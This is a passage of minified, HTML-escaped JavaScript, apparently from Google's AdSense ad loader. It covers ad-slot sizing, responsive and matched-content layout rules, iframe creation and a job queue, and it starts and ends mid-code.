a==f});g=ge[g];M(c,f);M(c,g);g=L;g=N(a,K(d,12),[g.m,g.u,g.U,g.ua,g.I,g.J]);M(c,g);g||(g=je,g=N(a,K(d,58),[g.m,g.u]),M(c,g));g||(g=me,f=N(a,K(d,56),[g.m,g.u]),M(c,f));g=ce;f=N(a,K(d,13),[g.B,g.m]);M(c,f);M(c,Kc([g.da],0));g=de;f=N(a,K(d,60),[g.B,g.m]);M(c,f);f==de.B&amp;&amp;(g=ee,f=N(a,K(d,66),[g.B,g.m]),M(c,f));g=ie;f=ye(a,te,K(d,14),K(d,15),[g.m,g.D]);M(b,f);h=he;f==g.m?e=h.m:f==g.D?e=h.D:e=&quot;&quot;;M(c,e);g=le;f=ye(a,xe,K(d,54),K(d,55),[g.m,g.G,g.H,g.F]);M(b,f);h=ke;f==g.m?e=h.m:f==g.G?e=h.G:f==g.H?e=h.H:f==g.F?e=h.F:e=&quot;&quot;;M(c,e);g=$d;f=N(a,K(d,70),[g.K]);M(b,f);h=Zd;switch(f){case g.m:e=h.m;break;case g.K:e=h.K;break;case g.T:e=h.T;break;default:h=&quot;&quot;}M(c,e);g=ae;f=N(a,K(d,98),[g.m,g.u]);M(c,f);if(tb(d.V[77],!1)||vb)g=ne,f=N(a,K(d,76),[g.m,g.ha,g.Z,g.ga]),M(c,f),f||(f=N(a,K(d,83),[g.fa]),M(c,f));g=oe;f=N(a,K(d,90),[g.m,g.u]);tb(d.V[94],!1)&amp;&amp;!f&amp;&amp;(f=g.u);M(c,f);g=pe;f=N(a,K(d,92),[g.m,g.u]);M(c,f);g=qe;f=ye(a,ve,K(d,99),K(d,100),[g.m,g.u]);M(b,f);h=re;f==g.m?e=h.m:f==g.u?e=h.u:e=&quot;&quot;;M(c,e)}},M=function(a,b){b&amp;&amp;a.push(b)},Ce=function(a,b){a=(a=(a=a.location&amp;&amp;a.location.hash)&amp;&amp;a.match(/google_plle=([\d,]+)/))&amp;&amp;a[1];return!!a&amp;&amp;-1!=a.indexOf(b)},N=function(a,b,c){for(var d=0;d&lt;c.length;d++)if(Ce(a,c[d]))return c[d];return Kc(c,b)},ye=function(a,b,c,d,e){for(var f=0;f&lt;e.length;f++)if(Ce(a,e[f]))return e[f];f=new Ec(c,c+d-1);(d=0&gt;=d||d%e.length)||(b=b.j,d=!(b.start&lt;=f.start&amp;&amp;b.j&gt;=f.j));d?c=null:(a=Gc(a),c=null!==a&amp;&amp;f.start&lt;=a&amp;&amp;f.j&gt;=a?e[(a-c)%e.length]:null);return c};var De=function(a){if(!a)return&quot;&quot;;(a=a.toLowerCase())&amp;&amp;&quot;ca-&quot;!=a.substring(0,3)&amp;&amp;(a=&quot;ca-&quot;+a);return a};var Ee=function(a,b,c){var d=void 0===d?&quot;&quot;:d;var e=[&quot;&lt;iframe&quot;],f;for(f in a)a.hasOwnProperty(f)&amp;&amp;Kb(e,f+&quot;=&quot;+a[f]);e.push(&#039;style=&quot;&#039;+(&quot;left:0;position:absolute;top:0;width:&quot;+b+&quot;px;height:&quot;+c+&quot;px;&quot;)+&#039;&quot;&#039;);e.push(&quot;&gt;&lt;/iframe&gt;&quot;);a=a.id;b=&quot;border:none;height:&quot;+c+&quot;px;margin:0;padding:0;position:relative;visibility:visible;width:&quot;+b+&quot;px;background-color:transparent;&quot;;return[&#039;&lt;ins id=&quot;&#039;,a+&quot;_expand&quot;,&#039;&quot; style=&quot;display:inline-table;&#039;,b,void 0===d?&quot;&quot;:d,&#039;&quot;&gt;&lt;ins id=&quot;&#039;,a+&quot;_anchor&quot;,&#039;&quot; style=&quot;display:block;&#039;,b,&#039;&quot;&gt;&#039;,e.join(&quot; &quot;),&quot;&lt;/ins&gt;&lt;/ins&gt;&quot;].join(&quot;&quot;)},Fe=function(a,b,c){var d=a.document.getElementById(b).contentWindow;if(x(d))a=a.document.getElementById(b).contentWindow,b=a.document,b.body&amp;&amp;b.body.firstChild||(/Firefox/.test(navigator.userAgent)?b.open(&quot;text/html&quot;,&quot;replace&quot;):b.open(),a.google_async_iframe_close=!0,b.write(c));else{a=a.document.getElementById(b).contentWindow;c=String(c);b=[&#039;&quot;&#039;];for(d=0;d&lt;c.length;d++){var e=c.charAt(d),f=e.charCodeAt(0),g=d+1,h;if(!(h=Sa[e])){if(!(31&lt;f&amp;&amp;127&gt;f))if(f=e,f in Ta)e=Ta[f];else if(f in Sa)e=Ta[f]=Sa[f];else{h=f.charCodeAt(0);if(31&lt;h&amp;&amp;127&gt;h)e=f;else{if(256&gt;h){if(e=&quot;\\x&quot;,16&gt;h||256&lt;h)e+=&quot;0&quot;}else e=&quot;\\u&quot;,4096&gt;h&amp;&amp;(e+=&quot;0&quot;);e+=h.toString(16).toUpperCase()}e=Ta[f]=e}h=e}b[g]=h}b.push(&#039;&quot;&#039;);a.location.replace(&quot;javascript:&quot;+b.join(&quot;&quot;))}};var Ge=null;var He={rectangle:1,horizontal:2,vertical:4};var O=function(a,b){this.v=a;this.s=b};O.prototype.minWidth=function(){return this.v};O.prototype.height=function(){return this.s};O.prototype.j=function(a){return 300&lt;a&amp;&amp;300&lt;this.s?this.v:Math.min(1200,Math.round(a))};O.prototype.o=function(a){return this.j(a)+&quot;x&quot;+this.height()};O.prototype.l=function(){};var P=function(a,b,c,d){d=void 0===d?!1:d;O.call(this,a,b);this.W=c;this.za=d};ia(P,O);P.prototype.l=function(a,b,c,d){1!=c.google_ad_resize&amp;&amp;(d.style.height=this.height()+&quot;px&quot;)};var Ie=function(a){return function(b){return!!(b.W&amp;a)}};function Je(a,b){for(var c=[&quot;width&quot;,&quot;height&quot;],d=0;d&lt;c.length;d++){var e=&quot;google_ad_&quot;+c[d];if(!b.hasOwnProperty(e)){var f=A(a[c[d]]);f=null===f?null:Math.round(f);null!=f&amp;&amp;(b[e]=f)}}}var Ke=function(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();var e={x:d.left-c.left,y:d.top-c.top}}catch(f){e=null}return(a=e)?a.y:0},Le=function(a,b){do{var c=y(a,b);if(c&amp;&amp;&quot;fixed&quot;==c.position)return!1}while(a=a.parentElement);return!0},Me=function(a,b,c){var d=c.google_safe_for_responsive_override;return null!=d?d:c.google_safe_for_responsive_override=Le(a,b)},Ne=function(a){var b=0,c;for(c in He)-1!=a.indexOf(c)&amp;&amp;(b|=He[c]);return b},Oe=function(a,b){for(var c=I(b),d=0;100&gt;d&amp;&amp;a;d++){var e=y(a,b);if(e&amp;&amp;&quot;hidden&quot;==e.overflowX&amp;&amp;(e=A(e.width))&amp;&amp;e&lt;c)return!0;a=a.parentElement}return!1},Pe=function(a,b){for(var c=a,d=0;100&gt;d&amp;&amp;c;d++){var e=c.style;if(e&amp;&amp;e.height&amp;&amp;&quot;auto&quot;!=e.height&amp;&amp;&quot;inherit&quot;!=e.height||e&amp;&amp;e.maxHeight&amp;&amp;&quot;auto&quot;!=e.maxHeight&amp;&amp;&quot;inherit&quot;!=e.maxHeight)return!1;c=c.parentElement}c=a;for(d=0;100&gt;d&amp;&amp;c;d++){if((e=y(c,b))&amp;&amp;&quot;hidden&quot;==e.overflowY)return!1;c=c.parentElement}c=a;for(d=0;100&gt;d&amp;&amp;c;d++){a:{e=a;var f=[&quot;height&quot;,&quot;max-height&quot;],g=b.document.styleSheets;if(g)for(var h=e.matches||e.webkitMatchesSelector||e.mozMatchesSelector||e.msMatchesSelector||e.oMatchesSelector,k=0;k&lt;Math.min(g.length,10);++k){var m=void 0;try{var n=g[k],p=null;try{p=n.cssRules||n.rules}catch(u){if(15==u.code)throw u.styleSheet=n,u}m=p}catch(u){continue}if(m&amp;&amp;0&lt;m.length)for(p=0;p&lt;Math.min(m.length,10);++p)if(h.call(e,m[p].selectorText))for(var q=0;q&lt;f.length;++q)if(-1!=m[p].cssText.indexOf(f[q])){e=!0;break a}}e=!1}if(e)return!1;c=c.parentElement}return!0},Qe=function(a,b,c,d,e){e=e||{};if((vb&amp;&amp;a.google_top_window||a.top)!=a)return e.google_fwr_non_expansion_reason=3,!1;if(!(488&gt;I(a)))return e.google_fwr_non_expansion_reason=4,!1;if(!(a.innerHeight&gt;=a.innerWidth))return e.google_fwr_non_expansion_reason=5,!1;var f=I(a);return!f||(f-c)/f&gt;d?(e.google_fwr_non_expansion_reason=6,!1):Oe(b.parentElement,a)?(e.google_fwr_non_expansion_reason=7,!1):!0},Re=function(a,b,c,d){var e;(e=!Qe(b,c,a,.3,d))||(e=I(b),a=e-a,e&amp;&amp;5&lt;=a?a=!0:((d||{}).google_fwr_non_expansion_reason=e?-10&gt;a?11:0&gt;a?14:0==a?13:12:10,a=!1),e=!a);return e?!1:Me(c,b,d)?!0:(d.google_fwr_non_expansion_reason=9,!1)},Se=function(a){for(var b=0,c=0;100&gt;c&amp;&amp;a;c++)b+=a.offsetLeft+a.clientLeft-a.scrollLeft,a=a.offsetParent;return b},Te=function(a,b,c){return{pa:A(a.paddingLeft)||0,direction:a.direction,la:b-c}},Ue=function(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=y(b,a)}catch(d){}return!c||&quot;none&quot;!=c.display&amp;&amp;!(&quot;absolute&quot;==c.position&amp;&amp;(&quot;hidden&quot;==c.visibility||&quot;collapse&quot;==c.visibility))}return!1},Ve=function(a,b,c,d,e,f){if(a=y(c,a)){var g=Te(a,e,d);d=g.direction;a=g.pa;g=g.la;f.google_ad_resize?c=-1*(g+a)+&quot;px&quot;:(c=Se(c)+a,c=&quot;rtl&quot;==d?-1*(g-c)+&quot;px&quot;:-1*c+&quot;px&quot;);&quot;rtl&quot;==d?b.style.marginRight=c:b.style.marginLeft=c;b.style.width=e+&quot;px&quot;;b.style.zIndex=30}};var We=function(a,b,c){if(a.style){var d=A(a.style[c]);if(d)return d}if(a=y(a,b))if(c=A(a[c]))return c;return null},Xe=function(a){return function(b){return b.minWidth()&lt;=a}},$e=function(a,b,c){var d=a&amp;&amp;Ye(c,b),e=Ze(b);return function(a){return!(d&amp;&amp;a.height()&gt;=e)}},af=function(a){return function(b){return b.height()&lt;=a}},Ye=function(a,b){return Ke(a,b)&lt;rd(b).clientHeight-100},bf=function(a,b){var c=Infinity;do{var d=We(b,a,&quot;height&quot;);d&amp;&amp;(c=Math.min(c,d));(d=We(b,a,&quot;maxHeight&quot;))&amp;&amp;(c=Math.min(c,d))}while((b=b.parentElement)&amp;&amp;&quot;HTML&quot;!=b.tagName);return c},cf=function(a,b){var c=We(b,a,&quot;height&quot;);if(c)return c;var d=b.style.height;b.style.height=&quot;inherit&quot;;c=We(b,a,&quot;height&quot;);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&amp;&amp;A(b.style.height))&amp;&amp;(c=Math.min(c,d)),(d=We(b,a,&quot;maxHeight&quot;))&amp;&amp;(c=Math.min(c,d));while((b=b.parentElement)&amp;&amp;&quot;HTML&quot;!=b.tagName);return c},Ze=function(a){var b=a.google_unique_id;return C(a,ie.D)&amp;&amp;0==(&quot;number&quot;===typeof b?b:0)?2*rd(a).clientHeight/3:250};var Q=function(a,b,c,d,e,f,g,h,k,m,n,p,q,u){this.X=a;this.w=b;this.W=void 0===c?null:c;this.P=void 0===d?null:d;this.j=void 0===e?null:e;this.s=void 0===f?null:f;this.v=void 0===g?null:g;this.A=void 0===h?null:h;this.l=void 0===k?null:k;this.o=void 0===m?null:m;this.C=void 0===n?null:n;this.N=void 0===p?null:p;this.O=void 0===q?null:q;this.R=void 0===u?null:u},df=function(a,b,c){null!=a.W&amp;&amp;(c.google_responsive_formats=a.W);null!=a.P&amp;&amp;(c.google_safe_for_responsive_override=a.P);null!=a.j&amp;&amp;(c.google_full_width_responsive_allowed=a.j);1!=c.google_ad_resize&amp;&amp;(c.google_ad_width=a.w.j(b),c.google_ad_height=a.w.height(),c.google_ad_format=a.w.o(b),c.google_responsive_auto_format=a.X,c.google_ad_resizable=!0,c.google_override_format=1,c.google_loader_features_used=128,a.j&amp;&amp;(c.gfwrnh=a.w.height()+&quot;px&quot;));null!=a.s&amp;&amp;(c.google_fwr_non_expansion_reason=a.s);null!=a.v&amp;&amp;(c.gfwroml=a.v);null!=a.A&amp;&amp;(c.gfwromr=a.A);null!=a.l&amp;&amp;(c.gfwroh=a.l,c.google_resizing_height=A(a.l)||&quot;&quot;);null!=a.o&amp;&amp;(c.gfwrow=a.o,c.google_resizing_width=A(a.o)||&quot;&quot;);null!=a.C&amp;&amp;(c.gfwroz=a.C);null!=a.N&amp;&amp;(c.gml=a.N);null!=a.O&amp;&amp;(c.gmr=a.O);null!=a.R&amp;&amp;(c.gzi=a.R)};var ef=function(){return!(w(&quot;iPad&quot;)||w(&quot;Android&quot;)&amp;&amp;!w(&quot;Mobile&quot;)||w(&quot;Silk&quot;))&amp;&amp;(w(&quot;iPod&quot;)||w(&quot;iPhone&quot;)||w(&quot;Android&quot;)||w(&quot;IEMobile&quot;))};var ff=[&quot;google_content_recommendation_ui_type&quot;,&quot;google_content_recommendation_columns_num&quot;,&quot;google_content_recommendation_rows_num&quot;],R={},gf=(R.image_stacked=1/1.91,R.image_sidebyside=1/3.82,R.mobile_banner_image_sidebyside=1/3.82,R.pub_control_image_stacked=1/1.91,R.pub_control_image_sidebyside=1/3.82,R.pub_control_image_card_stacked=1/1.91,R.pub_control_image_card_sidebyside=1/3.74,R.pub_control_text=0,R.pub_control_text_card=0,R),S={},hf=(S.image_stacked=80,S.image_sidebyside=0,S.mobile_banner_image_sidebyside=0,S.pub_control_image_stacked=80,S.pub_control_image_sidebyside=0,S.pub_control_image_card_stacked=85,S.pub_control_image_card_sidebyside=0,S.pub_control_text=80,S.pub_control_text_card=80,S),jf={},kf=(jf.pub_control_image_stacked=100,jf.pub_control_image_sidebyside=200,jf.pub_control_image_card_stacked=150,jf.pub_control_image_card_sidebyside=250,jf.pub_control_text=100,jf.pub_control_text_card=150,jf),lf=function(a,b){O.call(this,a,b)};ia(lf,O);lf.prototype.j=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))};var mf=function(a){var b=0;Hb(ff,function(c){null!=a[c]&amp;&amp;++b});if(0===b)return!1;if(b===ff.length)return!0;throw new H(&quot;Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together.&quot;)},qf=function(a,b){nf(a,b);if(a&lt;Ca){if(ef()){of(b,&quot;mobile_banner_image_sidebyside&quot;,1,12);var c=+b.google_content_recommendation_columns_num;c=(a-8*c-8)/c;var d=b.google_content_recommendation_ui_type;b=b.google_content_recommendation_rows_num-1;return new Q(9,new lf(a,Math.floor(c/1.91+70)+Math.floor((c*gf[d]+hf[d])*b+8*b+8)))}of(b,&quot;image_sidebyside&quot;,1,13);return new Q(9,pf(a))}of(b,&quot;image_stacked&quot;,4,2);return new Q(9,pf(a))};function pf(a){return 1200&lt;=a?new lf(1200,600):850&lt;=a?new lf(a,Math.floor(.5*a)):550&lt;=a?new lf(a,Math.floor(.6*a)):468&lt;=a?new lf(a,Math.floor(.7*a)):new lf(a,Math.floor(3.44*a))}var rf=function(a,b){nf(a,b);var c=b.google_content_recommendation_ui_type.split(&quot;,&quot;),d=b.google_content_recommendation_columns_num.split(&quot;,&quot;),e=b.google_content_recommendation_rows_num.split(&quot;,&quot;);a:{if(c.length==d.length&amp;&amp;d.length==e.length){if(1==c.length){var f=0;break a}if(2==c.length){f=a&lt;Ca?0:1;break a}throw new H(&quot;The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while &quot;+(&quot;you are providing &quot;+c.length+&#039; parameters. Example: \n data-matched-content-rows-num=&quot;4,2&quot;\ndata-matched-content-columns-num=&quot;1,6&quot;\ndata-matched-content-ui-type=&quot;image_stacked,image_card_sidebyside&quot;.&#039;))}if(c.length!=d.length)throw new H(&#039;The parameter length of data-matched-content-ui-type does not match data-matched-content-columns-num. Example: \n data-matched-content-rows-num=&quot;4,2&quot;\ndata-matched-content-columns-num=&quot;1,6&quot;\ndata-matched-content-ui-type=&quot;image_stacked,image_card_sidebyside&quot;.&#039;);throw new H(&#039;The parameter length of data-matched-content-columns-num does not match data-matched-content-rows-num. Example: \n data-matched-content-rows-num=&quot;4,2&quot;\ndata-matched-content-columns-num=&quot;1,6&quot;\ndata-matched-content-ui-type=&quot;image_stacked,image_card_sidebyside&quot;.&#039;)}c=c[f];c=0==c.lastIndexOf(&quot;pub_control_&quot;,0)?c:&quot;pub_control_&quot;+c;d=+d[f];for(var g=kf[c],h=d;a/h&lt;g&amp;&amp;1&lt;h;)h--;h!==d&amp;&amp;l.console&amp;&amp;l.console.warn(&quot;adsbygoogle warning: data-matched-content-columns-num &quot;+d+&quot; is too large. We override it to &quot;+h+&quot;.&quot;);d=h;e=+e[f];of(b,c,d,e);if(Number.isNaN(d)||0===d)throw new H(&quot;Wrong value for data-matched-content-columns-num&quot;);if(Number.isNaN(e)||0===e)throw new H(&quot;Wrong value for data-matched-content-rows-num&quot;);b=Math.floor(((a-8*d-8)/d*gf[c]+hf[c])*e+8*e+8);if(1500&lt;a)throw new H(&quot;Calculated slot width is too large: &quot;+a);if(1500&lt;b)throw new H(&quot;Calculated slot height is too large: &quot;+b);return new Q(9,new lf(a,b))};function nf(a,b){if(0&gt;=a)throw new H(&quot;Invalid responsive width from Matched Content slot &quot;+b.google_ad_slot+&quot;: &quot;+a+&quot;. Please ensure to put this Matched Content slot into a non-zero width div container.&quot;)}function of(a,b,c,d){a.google_content_recommendation_ui_type=b;a.google_content_recommendation_columns_num=c;a.google_content_recommendation_rows_num=d};var sf=function(a,b){O.call(this,a,b)};ia(sf,O);sf.prototype.j=function(){return this.minWidth()};sf.prototype.l=function(a,b,c,d){var e=this.j(b);Ve(a,d,d.parentElement,b,e,c);1!=c.google_ad_resize&amp;&amp;(d.style.height=this.height()+&quot;px&quot;)};var tf=function(a){return function(b){for(var c=a.length-1;0&lt;=c;--c)if(!a[c](b))return!1;return!0}},uf=function(a,b,c){for(var d=a.length,e=null,f=0;f&lt;d;++f){var g=a[f];if(b(g)){if(!c||c(g))return g;null===e&amp;&amp;(e=g)}}return e};var T=[new P(970,90,2),new P(728,90,2),new P(468,60,2),new P(336,280,1),new P(320,100,2),new P(320,50,2),new P(300,600,4),new P(300,250,1),new P(250,250,1),new P(234,60,2),new P(200,200,1),new P(180,150,1),new P(160,600,4),new P(125,125,1),new P(120,600,4),new P(120,240,4)],vf=[T[6],T[12],T[3],T[0],T[7],T[14],T[1],T[8],T[10],T[4],T[15],T[2],T[11],T[5],T[13],T[9]],wf=new P(120,120,1,!0),xf=new P(120,50,2,!0);var Af=function(a,b,c,d,e){e.gfwroml=d.style.marginLeft;e.gfwromr=d.style.marginRight;e.gfwroh=d.style.height;e.gfwrow=d.style.width;e.gfwroz=d.style.zIndex;e.google_full_width_responsive_allowed=!1;&quot;false&quot;!=e.google_full_width_responsive||yf(c)?zf(b,c,!0)||1==e.google_ad_resize?Re(a,c,d,e)?(e.google_full_width_responsive_allowed=!0,zf(b,c,!1)?b=I(c)||a:(e.google_fwr_non_expansion_reason=15,b=a)):b=a:(e.google_fwr_non_expansion_reason=2,b=a):(e.google_fwr_non_expansion_reason=1,b=a);return b!=a&amp;&amp;d.parentElement?b:a},Cf=function(a,b,c,d,e,f){f=void 0===f?!1:f;var g=Ib({},e);e=a;a=ed(247,gd,function(){return Af(a,b,c,d,g)});return Bf(a,b,c,d,g,e!=a,f)},zf=function(a,b,c){&quot;auto&quot;==a||&quot;autorelaxed&quot;==a&amp;&amp;C(b,qe.u)?b=!0:0&lt;(Ne(a)&amp;1)?(yf(b)?a=!0:(Pb(),a=Wd(),a=tb(a.V[101],!1)?!C(b,Yd.m):C(b,Yd.u)),b=a||c&amp;&amp;C(b,Yd.m)):b=!1;return b},Bf=function(a,b,c,d,e,f,g){g=void 0===g?!1:g;var h=&quot;auto&quot;==b?.25&gt;=a/Math.min(1200,I(c))?4:3:Ne(b);e.google_responsive_formats=h;var k=ef()&amp;&amp;!Ye(d,c)&amp;&amp;Me(d,c,e),m=ef()&amp;&amp;Ye(d,c)&amp;&amp;(C(c,ie.D)||C(c,ie.m))&amp;&amp;Me(d,c,e)&amp;&amp;C(c,ie.D),n=(k?vf:T).slice(0);n=Ea(n,Df(c));var p=488&gt;I(c);p=[Xe(a),Ef(p),$e(p,c,d),Ie(h)];null!=e.google_max_responsive_height&amp;&amp;p.push(af(e.google_max_responsive_height));var q=A(e.gfwrow)||0,u=A(e.gfwroh)||0;g&amp;&amp;p.push(function(a){return a.minWidth()&gt;=q&amp;&amp;a.height()&gt;=u});var z=[function(a){return!a.za}];if(k||m)k=k?bf(c,d):cf(c,d),z.push(af(k));var J=uf(n,tf(p),tf(z));g&amp;&amp;(n=new P(q,u,h),J=J||n);if(!J)throw new H(&quot;No slot size for availableWidth=&quot;+a);J=ed(248,gd,function(){a:{var b=J;var h=g;h=void 0===h?!1:h;if(f){if(e.gfwrnh){var k=A(e.gfwrnh);if(k){h=new sf(a,k);break a}}if(Ye(d,c))h=new sf(a,b.height());else{b=a/1.2;k=bf(c,d);k=Math.min(b,k);if(k&lt;.5*b||100&gt;k)k=b;h&amp;&amp;(h=A(e.gfwroh)||0,k=Math.max(k,h));h=new sf(a,Math.floor(k))}}else h=b}return h});b=Ff(b,h);return new Q(b,J,h,e.google_safe_for_responsive_override,e.google_full_width_responsive_allowed,e.google_fwr_non_expansion_reason,e.gfwroml,e.gfwromr,e.gfwroh,e.gfwrow,e.gfwroz,e.gml,e.gmr,e.gzi)},Ff=function(a,b){if(&quot;auto&quot;==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error(&quot;bad mask&quot;)},Ef=function(a){return function(b){return!(320==b.minWidth()&amp;&amp;(a&amp;&amp;50==b.height()||!a&amp;&amp;100==b.height()))}},yf=function(a){return a.location&amp;&amp;&quot;#google_full_width_responsive_preview&quot;==a.location.hash},Df=function(a){var b=[],c=C(a,le.F);(C(a,le.G)||c)&amp;&amp;b.push(wf);(C(a,le.H)||c)&amp;&amp;b.push(xf);return b};var Gf={&quot;image-top&quot;:function(a){return 600&gt;=a?284+.414*(a-250):429},&quot;image-middle&quot;:function(a){return 500&gt;=a?196-.13*(a-250):164+.2*(a-500)},&quot;image-side&quot;:function(a){return 500&gt;=a?205-.28*(a-250):134+.21*(a-500)},&quot;text-only&quot;:function(a){return 500&gt;=a?187-.228*(a-250):130},&quot;in-article&quot;:function(a){return 420&gt;=a?a/1.2:460&gt;=a?a/1.91+130:800&gt;=a?a/4:200}},Hf=function(a,b){O.call(this,a,b)};ia(Hf,O);Hf.prototype.j=function(){return Math.min(1200,this.minWidth())};var If=function(a,b,c,d,e){var f=e.google_ad_layout||&quot;image-top&quot;;if(&quot;in-article&quot;==f&amp;&amp;&quot;false&quot;!=e.google_full_width_responsive&amp;&amp;(C(b,$d.K)||C(b,$d.T)||C(b,$d.m))&amp;&amp;Qe(b,c,a,.2,e)){var g=I(b);if(g&amp;&amp;(e.google_full_width_responsive_allowed=!0,!C(b,$d.m))){var h=c.parentElement;if(h){b:for(var k=c,m=0;100&gt;m&amp;&amp;k.parentElement;++m){for(var n=k.parentElement.childNodes,p=0;p&lt;n.length;++p){var q=n[p];if(q!=k&amp;&amp;Ue(b,q))break b}k=k.parentElement;k.style.width=&quot;100%&quot;;k.style.height=&quot;auto&quot;}Ve(b,c,h,a,g,e);a=g}}}if(250&gt;a)throw new H(&quot;Fluid responsive ads must be at least 250px wide: availableWidth=&quot;+a);b=Math.min(1200,Math.floor(a));if(d&amp;&amp;&quot;in-article&quot;!=f){f=Math.ceil(d);if(50&gt;f)throw new H(&quot;Fluid responsive ads must be at least 50px tall: height=&quot;+f);return new Q(11,new O(b,f))}if(&quot;in-article&quot;!=f&amp;&amp;(d=e.google_ad_layout_key)){f=&quot;&quot;+d;d=Math.pow(10,3);if(c=(e=f.match(/([+-][0-9a-z]+)/g))&amp;&amp;e.length){a=[];for(g=0;g&lt;c;g++)a.push(parseInt(e[g],36)/d);d=a}else d=null;if(!d)throw new H(&quot;Invalid data-ad-layout-key value: &quot;+f);f=(b+-725)/1E3;e=0;c=1;a=d.length;for(g=0;g&lt;a;g++)e+=d[g]*c,c*=f;f=Math.ceil(1E3*e- -725+10);if(isNaN(f))throw new H(&quot;Invalid height: height=&quot;+f);if(50&gt;f)throw new H(&quot;Fluid responsive ads must be at least 50px tall: height=&quot;+f);if(1200&lt;f)throw new H(&quot;Fluid responsive ads must be at most 1200px tall: height=&quot;+f);return new Q(11,new O(b,f))}d=Gf[f];if(!d)throw new H(&quot;Invalid data-ad-layout value: &quot;+f);d=Math.ceil(d(b));return new Q(11,&quot;in-article&quot;==f?new Hf(b,d):new O(b,d))};var U=function(a,b){O.call(this,a,b)};ia(U,O);U.prototype.j=function(){return this.minWidth()};U.prototype.o=function(a){return O.prototype.o.call(this,a)+&quot;_0ads_al&quot;};var Jf=[new U(728,15),new U(468,15),new U(200,90),new U(180,90),new U(160,90),new U(120,90)],Kf=function(a,b,c,d){var e=90;d=void 0===d?130:d;e=void 0===e?30:e;var f=uf(Jf,Xe(a));if(!f)throw new H(&quot;No link unit size for width=&quot;+a+&quot;px&quot;);a=Math.min(a,1200);f=f.height();b=Math.max(f,b);a=(new Q(10,new U(a,Math.min(b,15==f?e:d)))).w;b=a.minWidth();a=a.height();15&lt;=c&amp;&amp;(a=c);return new Q(10,new U(b,a))};var Lf=function(a){var b=a.google_ad_format;if(&quot;autorelaxed&quot;==b)return mf(a)?9:5;if(&quot;auto&quot;==b||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(b))return 1;if(&quot;link&quot;==b)return 4;if(&quot;fluid&quot;==b)return 8},Mf=function(a,b,c,d,e){var f=d.google_ad_height||We(c,e,&quot;height&quot;);switch(a){case 5:return a=ed(247,gd,function(){return Af(b,d.google_ad_format,e,c,d)}),a!=b&amp;&amp;Ve(e,c,c.parentElement,b,a,d),qf(a,d);case 9:return rf(b,d);case 4:return Kf(b,cf(e,c),f,B(e,be.ea)?250:190);case 8:return If(b,e,c,f,d)}};var Nf=/^(\d+)x(\d+)(|_[a-z]*)$/,Of=function(a){return C(a,&quot;165767636&quot;)};var V=function(a){this.s=[];this.l=a||window;this.j=0;this.o=null;this.N=0},Pf;V.prototype.O=function(a,b){0!=this.j||0!=this.s.length||b&amp;&amp;b!=window?this.v(a,b):(this.j=2,this.C(new Qf(a,window)))};V.prototype.v=function(a,b){this.s.push(new Qf(a,b||this.l));Rf(this)};V.prototype.R=function(a){this.j=1;if(a){var b=fd(188,sa(this.A,this,!0));this.o=this.l.setTimeout(b,a)}};V.prototype.A=function(a){a&amp;&amp;++this.N;1==this.j&amp;&amp;(null!=this.o&amp;&amp;(this.l.clearTimeout(this.o),this.o=null),this.j=0);Rf(this)};V.prototype.X=function(){return!(!window||!Array)};V.prototype.P=function(){return this.N};var Rf=function(a){var b=fd(189,sa(a.va,a));a.l.setTimeout(b,0)};V.prototype.va=function(){if(0==this.j&amp;&amp;this.s.length){var a=this.s.shift();this.j=2;var b=fd(190,sa(this.C,this,a));a.j.setTimeout(b,0);Rf(this)}};V.prototype.C=function(a){this.j=0;a.l()};var Sf=function(a){try{return a.sz()}catch(b){return!1}},Tf=function(a){return!!a&amp;&amp;(&quot;object&quot;===typeof a||&quot;function&quot;===typeof a)&amp;&amp;Sf(a)&amp;&amp;Jb(a.nq)&amp;&amp;Jb(a.nqa)&amp;&amp;Jb(a.al)&amp;&amp;Jb(a.rl)},Uf=function(){if(Pf&amp;&amp;Sf(Pf))return Pf;var a=nd(),b=a.google_jobrunner;return Tf(b)?Pf=b:a.google_jobrunner=Pf=new V(a)},Vf=function(a,b){Uf().nq(a,b)},Wf=function(a,b){Uf().nqa(a,b)};V.prototype.nq=V.prototype.O;V.prototype.nqa=V.prototype.v;V.prototype.al=V.prototype.R;V.prototype.rl=V.prototype.A;V.prototype.sz=V.prototype.X;V.prototype.tc=V.prototype.P;var Qf=function(a,b){this.l=a;this.j=b};var Xf=function(a,b){var c=Rb(b);if(c){c=I(c);var d=y(a,b)||{},e=d.direction;if(&quot;0px&quot;===d.width&amp;&amp;&quot;none&quot;!=d.cssFloat)return-1;if(&quot;ltr&quot;===e&amp;&amp;c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if(&quot;rtl&quot;===e&amp;&amp;c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};var Yf=function(a,b,c){c||(c=yb?&quot;https&quot;:&quot;http&quot;);l.location&amp;&amp;&quot;https:&quot;==l.location.protocol&amp;&amp;&quot;http&quot;==c&amp;&amp;(c=&quot;https&quot;);return[c,&quot;://&quot;,a,b].join(&quot;&quot;)};var $f=function(a){var b=this;this.j=a;a.google_iframe_oncopy||(a.google_iframe_oncopy={handlers:{},upd:function(a,d){var c=Zf(&quot;rx&quot;,a);a:{if(a&amp;&amp;(a=a.match(&quot;dt=([^&amp;]+)&quot;))&amp;&amp;2==a.length){a=a[1];break a}a=&quot;&quot;}a=(new Date).getTime()-a;c=c.replace(/&amp;dtd=(\d+|-?M)/,&quot;&amp;dtd=&quot;+(1E5&lt;=a?&quot;M&quot;:0&lt;=a?a:&quot;-M&quot;));b.set(d,c);return c}});this.l=a.google_iframe_oncopy};$f.prototype.set=function(a,b){var c=this;this.l.handlers[a]=b;this.j.addEventListener&amp;&amp;this.j.addEventListener(&quot;load&quot;,function(){var b=c.j.document.getElementById(a);try{var 